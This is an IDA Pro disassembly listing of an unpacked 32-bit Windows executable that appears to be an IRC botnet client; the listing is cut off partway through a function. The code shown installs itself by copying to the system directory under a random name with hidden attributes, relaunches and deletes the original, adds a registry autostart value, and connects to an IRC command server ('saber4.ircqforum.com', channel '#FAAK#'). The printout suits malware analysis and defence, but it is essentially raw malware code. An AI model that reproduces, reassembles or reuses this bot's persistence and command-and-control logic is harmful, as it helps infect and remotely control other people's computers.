;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 0C6434A1CEE3EF1C6D658602BA25F876
; File Name : u:\work\0c6434a1cee3ef1c6d658602ba25f876_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00025E84 ( 155268.)
; Section size in file : 00025E84 ( 155268.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
; OS type : MS Windows
; Application type: Executable 32bit
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401000(char *Str)
sub_401000 proc near ; CODE XREF: WinMain(x,x,x,x)+358p
; sub_41835A+1Ep
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindsSerscAgts ; "Winds Sersc Agts"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4CB608 ; RegCreateKeyExA
cmp [ebp+Str], esi
jz short loc_40104D
push [ebp+Str] ; Str
call _strlen
pop ecx
push eax
push [ebp+Str]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4CB678 ; RegSetValueExA
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4CB5B8 ; RegDeleteValueA
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4CB630 ; RegCloseKey
add edi, 8
cmp edi, offset aRb ; "rb"
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, ds:dword_427238[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4010AB(char *Filename)
sub_4010AB proc near ; CODE XREF: sub_4163FA+24Ap
var_10 = dword ptr -10h
Filename = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx ; Mode
call _malloc
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+Filename] ; Filename
mov esi, eax
call _fopen
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx ; Size
push esi ; Src
call sub_41B202
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi ; File
push 1 ; Count
lea eax, [esi+ebx-1]
push 1 ; ElementSize
push eax ; DstBuf
call _fread
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41B0B1
push edi ; File
call _fclose
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: WinMain(x,x,x,x)+14o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
Dst = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43E59C
call dword_4CB6EC ; closesocket
call sub_40B2C0
call dword_4CB5AC ; WSACleanup
call dword_4CB5AC ; WSACleanup
mov ebx, ds:dword_427078
push 64h
call ebx ; Sleep
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_54]
pop esi
push esi ; Size
push edi ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43D808
mov [ebp+var_28], 1
mov [ebp+var_24], di
call ds:dword_427074 ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call ds:dword_427070 ; GetModuleFileNameA
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call ds:dword_42706C ; CreateProcessA
test eax, eax
jz short loc_4011E2
push 64h
call ebx ; Sleep
push [ebp+Dst]
mov esi, ds:dword_427068
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_4011E2: ; CODE XREF: sub_40111D+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43D800
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
call ds:dword_427064 ; ExitProcess
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: .data:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418685
pop ecx
mov dword_4CB390, eax
pop ecx
retn
sub_40111D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
_WinMain@16 proc near ; CODE XREF: start+C9p
var_988 = byte ptr -988h
var_884 = byte ptr -884h
var_883 = byte ptr -883h
Filename = byte ptr -6F4h
Str = byte ptr -5F4h
Ext = byte ptr -4F0h
SubStr = byte ptr -3F0h
FullPath = byte ptr -2ECh
Dest = byte ptr -1E8h
var_E4 = dword ptr -0E4h
var_D8 = dword ptr -0D8h
var_B8 = dword ptr -0B8h
var_B4 = word ptr -0B4h
Source = byte ptr -0A0h
Dst = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
hInstance = dword ptr 8
hPrevInstance = dword ptr 0Ch
lpCmdLine = dword ptr 10h
nShowCmd = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
mov [ebp+var_4], offset sub_40111D
push [ebp+var_4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, ds:dword_4270A8
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CB394, eax
call esi ; GetTickCount
push eax
call sub_41B8D8
pop ecx
call sub_409B13
push 2
call dword_4CB700 ; SetErrorMode
push 7530h
push offset aQsfposs ; "qsfposs"
push ebx
push ebx
call ds:dword_4270A4 ; CreateMutexA
push eax
call ds:dword_4270A0 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_4012A1
push 1
call ds:dword_427064 ; ExitProcess
loc_4012A1: ; CODE XREF: WinMain(x,x,x,x)+76j
lea eax, [ebp+var_884]
push eax
push 202h
call dword_4CB5C4 ; WSAStartup
cmp eax, ebx
jnz loc_4017E4
cmp [ebp+var_884], 2
jnz loc_4017DE
xor eax, eax
mov al, [ebp+var_883]
cmp al, 2
jnz loc_4017DE
mov esi, 104h
lea eax, [ebp+SubStr]
push esi
push eax
call ds:dword_427074 ; GetSystemDirectoryA
lea eax, [ebp+FullPath]
push esi
push eax
push ebx
call ds:dword_42709C ; GetModuleHandleA
push eax
call ds:dword_427070 ; GetModuleFileNameA
lea eax, [ebp+Ext]
push eax ; Ext
lea eax, [ebp+Filename]
push eax ; Filename
push ebx ; Dir
lea eax, [ebp+FullPath]
push ebx ; Drive
push eax ; FullPath
call __splitpath
add esp, 14h
lea eax, [ebp+Ext]
push eax
lea eax, [ebp+Filename]
push eax
push offset aSS ; "%s%s"
lea eax, [ebp+Str]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
lea eax, [ebp+FullPath]
push eax ; Str
call _strstr
add esp, 1Ch
test eax, eax
jnz loc_401516
cmp dword_42908C, ebx
mov esi, offset Str ; "nvigqyvja.exe"
jz short loc_40139C
push esi ; Str
xor edi, edi
call _strlen
sub eax, 4
pop ecx
jz short loc_40139C
loc_401379: ; CODE XREF: WinMain(x,x,x,x)+179j
call _rand
push 1Ah
cdq
pop ecx
idiv ecx
push esi ; Str
add dl, 61h
mov byte ptr Str[edi], dl ; "nvigqyvja.exe"
inc edi
call _strlen
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401379
loc_40139C: ; CODE XREF: WinMain(x,x,x,x)+148j
; WinMain(x,x,x,x)+156j
lea eax, [ebp+SubStr]
push esi
push eax
lea eax, [ebp+Dest]
push offset Format ; "%s\\%s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Dest]
push eax
call ds:dword_427098 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4013DC
lea eax, [ebp+Dest]
push 80h
push eax
call ds:dword_427094 ; SetFileAttributesA
loc_4013DC: ; CODE XREF: WinMain(x,x,x,x)+1A7j
mov esi, ds:dword_427090
lea eax, [ebp+Dest]
push ebx
push eax
lea eax, [ebp+FullPath]
xor edi, edi
push eax
loc_4013F3: ; CODE XREF: WinMain(x,x,x,x)+209j
call esi ; CopyFileA
test eax, eax
jnz short loc_40142C
call ds:dword_42708C ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_40142C
cmp eax, 20h
jz short loc_40140D
cmp eax, 5
jnz short loc_40142C
loc_40140D: ; CODE XREF: WinMain(x,x,x,x)+1E5j
push 1
pop edi
push 3A98h
call ds:dword_427078 ; Sleep
lea eax, [ebp+Dest]
push ebx
push eax
lea eax, [ebp+FullPath]
push eax
jmp short loc_4013F3
; ---------------------------------------------------------------------------
loc_40142C: ; CODE XREF: WinMain(x,x,x,x)+1D6j
; WinMain(x,x,x,x)+1E0j ...
lea eax, [ebp+Dest]
push eax
call sub_418294
pop ecx
lea eax, [ebp+Dest]
push 7
push eax
call ds:dword_427094 ; SetFileAttributesA
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_E4]
pop esi
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_E4], esi
mov [ebp+var_D8], offset byte_43D808
mov [ebp+var_B4], bx
push 1
pop esi
mov [ebp+var_B8], esi
call ds:dword_427088 ; GetCurrentProcessId
push eax
push esi
push 100000h
call ds:dword_427084 ; OpenProcess
lea ecx, [ebp+FullPath]
push ecx
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_988]
push offset aSDS ; "%s %d \"%s\""
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_E4]
push eax
lea eax, [ebp+SubStr]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_988]
push ebx
push eax
lea eax, [ebp+Dest]
push eax
call ds:dword_42706C ; CreateProcessA
test eax, eax
jz short loc_401516
push 0C8h
call ds:dword_427078 ; Sleep
push [ebp+Dst]
mov esi, ds:dword_427068
call esi ; CloseHandle
push [ebp+var_1C]
call esi ; CloseHandle
call dword_4CB5AC ; WSACleanup
push ebx
call ds:dword_427064 ; ExitProcess
loc_401516: ; CODE XREF: WinMain(x,x,x,x)+137j
; WinMain(x,x,x,x)+2CBj
cmp dword_4DB974, 2
jle short loc_401562
mov eax, dword_4DB978
push dword ptr [eax+4] ; Str
call _atoi
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call ds:dword_4270A0 ; WaitForSingleObject
push esi
call ds:dword_427068 ; CloseHandle
mov eax, dword_4DB978
cmp [eax+8], ebx
jz short loc_401562
push 7D0h
call ds:dword_427078 ; Sleep
mov eax, dword_4DB978
push dword ptr [eax+8]
call ds:dword_427080 ; DeleteFileA
loc_401562: ; CODE XREF: WinMain(x,x,x,x)+2FCj
; WinMain(x,x,x,x)+326j
cmp dword_429090, ebx
jz short loc_40157F
cmp dword_4CB724, ebx
jnz short loc_40157F
lea eax, [ebp+Str]
push eax ; Str
call sub_401000
pop ecx
loc_40157F: ; CODE XREF: WinMain(x,x,x,x)+347j
; WinMain(x,x,x,x)+34Fj
lea eax, [ebp+Source]
push offset asc_429A9C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push ebx ; int
push eax ; Source
call sub_40B0F7
lea eax, [ebp+Source]
push eax
call sub_4151AD
push 0B80h ; Size
push ebx ; Val
push offset dword_43D810 ; Dst
call _memset
add esp, 24h
lea eax, [ebp+Source]
push offset asc_429A78 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 1 ; int
push eax ; Source
call sub_40B0F7
add esp, 14h
mov esi, eax
mov edi, ds:dword_42707C
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_419A01
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E5A4[esi], eax
jnz short loc_401622
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_429A38 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_401622: ; CODE XREF: WinMain(x,x,x,x)+3E4j
lea eax, [ebp+Source]
push eax
call sub_4151AD
push 2
call sub_40B33F
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A7
lea eax, [ebp+Source]
push offset asc_429A0C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 2 ; int
push eax ; Source
call sub_40B0F7
add esp, 14h
mov esi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push esi
push offset sub_4101FD
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E5A4[esi], eax
jnz short loc_40169A
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_4299D8 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40169A: ; CODE XREF: WinMain(x,x,x,x)+45Cj
lea eax, [ebp+Source]
push eax
call sub_4151AD
pop ecx
loc_4016A7: ; CODE XREF: WinMain(x,x,x,x)+418j
call _rand
push 7Fh ; Count
and eax, 3
push offset Source ; "saber4.ircqforum.com"
push offset Dest ; Dest
mov dword_4CB508, eax
call _strncpy
mov eax, dword_42906C
push 3Fh ; Count
mov edi, offset byte_4CB41C
push offset aFaak ; "#FAAK#"
push edi ; Dest
mov dword_4CB4EC, eax
call _strncpy
push 3Fh ; Count
mov esi, offset byte_4CB45C
push offset aSaad_ ; "saad."
push esi ; Dest
call _strncpy
add esp, 24h
mov dword_4CB4F0, ebx
loc_4016FC: ; CODE XREF: WinMain(x,x,x,x)+563j
; WinMain(x,x,x,x)+56Ej ...
mov [ebp+var_4], ebx
loc_4016FF: ; CODE XREF: WinMain(x,x,x,x)+517j
push offset dword_4CB398
mov dword_4CB504, ebx
call sub_4017ED
cmp eax, 2
mov [ebp+var_10], eax
jz loc_4017D9
cmp dword_4CB504, ebx
jz short loc_401726
dec [ebp+var_4]
loc_401726: ; CODE XREF: WinMain(x,x,x,x)+500j
push 0BB8h
call ds:dword_427078 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_4016FF
cmp [ebp+var_10], 2
jz loc_4017D9
cmp [ebp+var_C], ebx
jz short loc_401789
push 7Fh ; Count
push offset Source ; "saber4.ircqforum.com"
push offset Dest ; Dest
call _strncpy
mov eax, dword_42906C
push 3Fh ; Count
push offset aFaak ; "#FAAK#"
push edi ; Dest
mov dword_4CB4EC, eax
call _strncpy
push 3Fh ; Count
push offset aSaad_ ; "saad."
push esi ; Dest
call _strncpy
add esp, 24h
mov [ebp+var_C], ebx
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_401789: ; CODE XREF: WinMain(x,x,x,x)+526j
cmp byte_4290E8, bl
jz loc_4016FC
push 7Fh ; Count
push offset byte_4290E8 ; Source
push offset Dest ; Dest
call _strncpy
mov eax, dword_429070
push 3Fh ; Count
push offset aFaak_0 ; "#FAAK#"
push edi ; Dest
mov dword_4CB4EC, eax
call _strncpy
push 3Fh ; Count
push offset aSaad__0 ; "saad."
push esi ; Dest
call _strncpy
add esp, 24h
mov [ebp+var_C], 1
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_4017D9: ; CODE XREF: WinMain(x,x,x,x)+4F4j
; WinMain(x,x,x,x)+51Dj
call sub_40B2C0
loc_4017DE: ; CODE XREF: WinMain(x,x,x,x)+A1j
; WinMain(x,x,x,x)+B1j
call dword_4CB5AC ; WSACleanup
loc_4017E4: ; CODE XREF: WinMain(x,x,x,x)+94j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
_WinMain@16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017ED proc near ; CODE XREF: WinMain(x,x,x,x)+4E9p
; DATA XREF: sub_401ACD+662Bo
var_190 = dword ptr -190h
Args = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
Dest = byte ptr -2Ch
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401812: ; CODE XREF: sub_4017ED+E6j
; sub_4017ED+136j ...
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_3C]
call dword_4CB654 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+Args]
push eax
call sub_40AAFA
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40193F
push 1Ch ; Size
lea eax, [ebp+Dest]
push 0 ; Val
push eax ; Dst
call _memset
push 0 ; Str1
lea eax, [ebp+Dest]
push dword_4290A0 ; int
push dword_42909C ; int
push eax ; Dest
call sub_40B08E
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh ; Count
add eax, offset byte_43E5A8
push edi ; Source
push eax ; Dest
call _strncpy
add esp, 28h
push 6
push 1
push 2
call dword_4CB6D4 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43E59C[eax], esi
lea eax, [ebp+Dst]
push eax
push esi
call dword_4CB5FC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4018D8
push esi
call dword_4CB6EC ; closesocket
call sub_40AB23
push 7D0h
loc_4018CD: ; CODE XREF: sub_4017ED+146j
call ds:dword_427078 ; Sleep
jmp loc_401812
; ---------------------------------------------------------------------------
loc_4018D8: ; CODE XREF: sub_4017ED+CDj
lea eax, [ebp+Args]
push eax ; Args
push offset asc_429AD4 ; "-"
call sub_415221
push [ebp+var_38]
lea eax, [ebp+Args]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401955
add esp, 28h
mov edi, eax
push esi
call dword_4CB6EC ; closesocket
test edi, edi
jz loc_401812
cmp edi, 1
jnz short loc_401935
push 0DBBA0h
jmp short loc_4018CD
; ---------------------------------------------------------------------------
loc_401935: ; CODE XREF: sub_4017ED+13Fj
cmp edi, 2
jz short loc_401943
jmp loc_401812
; ---------------------------------------------------------------------------
loc_40193F: ; CODE XREF: sub_4017ED+5Aj
xor eax, eax
jmp short loc_40194F
; ---------------------------------------------------------------------------
loc_401943: ; CODE XREF: sub_4017ED+14Bj
push [ebp+var_34]
call sub_40B413
pop ecx
push 2
pop eax
loc_40194F: ; CODE XREF: sub_4017ED+154j
pop edi
pop esi
leave
retn 4
sub_4017ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401955 proc near ; CODE XREF: sub_4017ED+123p
Dst = byte ptr -1A90h
var_A90 = dword ptr -0A90h
var_2C0 = dword ptr -2C0h
var_140 = dword ptr -140h
Str = byte ptr -0A0h
Dest = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Source = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call __alloca_probe
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401973: ; CODE XREF: sub_401955+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401973
cmp byte_4CB500, bl
jz short loc_40199A
push offset byte_4CB500 ; Args
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0] ; int
call sub_409A2D
add esp, 0Ch
loc_40199A: ; CODE XREF: sub_401955+2Ej
push [ebp+Source]
lea eax, [ebp+Dest]
push ebx ; Str1
push ebx ; int
push 2 ; int
push eax ; Dest
call sub_40B08E
add esp, 10h
push eax
lea eax, [ebp+Str]
push [ebp+Source]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_0]
call dword_4CB6A4 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401A04
push [ebp+arg_0]
call dword_4CB6EC ; closesocket
push 1388h
call ds:dword_427078 ; Sleep
loc_4019FD: ; CODE XREF: sub_401955+D9j
; sub_401955+153j
xor eax, eax
loc_4019FF: ; CODE XREF: sub_401955+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A04: ; CODE XREF: sub_401955+92j
; sub_401955+F8j ...
mov esi, 1000h
lea eax, [ebp+Dst]
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB66C ; recv
test eax, eax
jle short loc_4019FD
lea eax, [ebp+var_A90]
push eax ; int
lea eax, [ebp+Dst]
push eax ; Str
call sub_417F80
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A04
lea edi, [ebp+var_A90]
loc_401A55: ; CODE XREF: sub_401955+165j
push 1
pop esi
loc_401A58: ; CODE XREF: sub_401955+144j
push [ebp+arg_1C] ; int
lea eax, [ebp+var_8]
push esi ; File
push eax ; int
lea eax, [ebp+var_140]
push eax ; int
lea eax, [ebp+var_2C0]
push eax ; int
push [ebp+arg_18] ; int
push [ebp+Source] ; Source
push [ebp+arg_8] ; int
push [ebp+arg_4] ; int
push [ebp+arg_0] ; int
push dword ptr [edi] ; Src
call sub_401ACD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A9B
push 7D0h
call ds:dword_427078 ; Sleep
jmp short loc_401A58
; ---------------------------------------------------------------------------
loc_401A9B: ; CODE XREF: sub_401955+137j
cmp esi, 0FFFFFFFDh
jz short loc_401AC5
cmp esi, 0FFFFFFFEh
jz short loc_401AC1
cmp esi, 0FFFFFFFFh
jz loc_4019FD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A55
jmp loc_401A04
; ---------------------------------------------------------------------------
loc_401AC1: ; CODE XREF: sub_401955+14Ej
push 1
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401AC5: ; CODE XREF: sub_401955+149j
push 2
loc_401AC7: ; CODE XREF: sub_401955+16Ej
pop eax
jmp loc_4019FF
sub_401955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401ACD(int Src,int,int,int,char *Source,int,int,int,int,FILE *File,int)
sub_401ACD proc near ; CODE XREF: sub_401955+12Ap
var_5D98 = dword ptr -5D98h
var_5D88 = dword ptr -5D88h
var_5988 = byte ptr -5988h
var_5588 = byte ptr -5588h
var_53F8 = byte ptr -53F8h
var_51F8 = byte ptr -51F8h
Dest = byte ptr -50F4h
FullPath = byte ptr -4FF4h
var_4EF0 = byte ptr -4EF0h
var_4DF0 = byte ptr -4DF0h
var_4CF0 = byte ptr -4CF0h
var_4BF0 = byte ptr -4BF0h
var_4AF0 = byte ptr -4AF0h
var_48F0 = byte ptr -48F0h
var_47EC = byte ptr -47ECh
var_46EC = byte ptr -46ECh
var_45EC = dword ptr -45ECh
var_4588 = byte ptr -4588h
Str = byte ptr -4488h
var_4288 = byte ptr -4288h
var_4188 = byte ptr -4188h
var_4088 = byte ptr -4088h
var_3F88 = dword ptr -3F88h
var_3F84 = byte ptr -3F84h
var_3F04 = byte ptr -3F04h
var_3E00 = byte ptr -3E00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = dword ptr -3CE8h
var_3CE4 = byte ptr -3CE4h
var_3C64 = byte ptr -3C64h
var_3BE4 = byte ptr -3BE4h
var_3B64 = byte ptr -3B64h
var_3AE4 = byte ptr -3AE4h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = dword ptr -3A58h
var_3A54 = byte ptr -3A54h
var_37CD = byte ptr -37CDh
var_37CC = byte ptr -37CCh
var_36C8 = dword ptr -36C8h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B4 = dword ptr -36B4h
var_36AC = dword ptr -36ACh
var_36A8 = dword ptr -36A8h
var_36A4 = byte ptr -36A4h
var_3624 = byte ptr -3624h
var_35A4 = byte ptr -35A4h
var_3524 = byte ptr -3524h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = dword ptr -3494h
var_3490 = byte ptr -3490h
var_3410 = byte ptr -3410h
var_3390 = byte ptr -3390h
var_3310 = byte ptr -3310h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = dword ptr -3280h
var_327C = byte ptr -327Ch
var_31FC = byte ptr -31FCh
var_317C = byte ptr -317Ch
var_30FC = byte ptr -30FCh
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = dword ptr -306Ch
var_3068 = byte ptr -3068h
var_2FE8 = byte ptr -2FE8h
var_2F68 = byte ptr -2F68h
var_2EE8 = byte ptr -2EE8h
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = dword ptr -2E5Ch
Filename = byte ptr -2E58h
var_2D54 = dword ptr -2D54h
var_2D50 = byte ptr -2D50h
var_2C4C = byte ptr -2C4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = dword ptr -2B40h
var_2B3C = byte ptr -2B3Ch
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AB0 = dword ptr -2AB0h
var_2AA8 = byte ptr -2AA8h
var_2990 = byte ptr -2990h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = dword ptr -28FCh
var_28F8 = byte ptr -28F8h
var_2878 = byte ptr -2878h
var_2778 = byte ptr -2778h
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
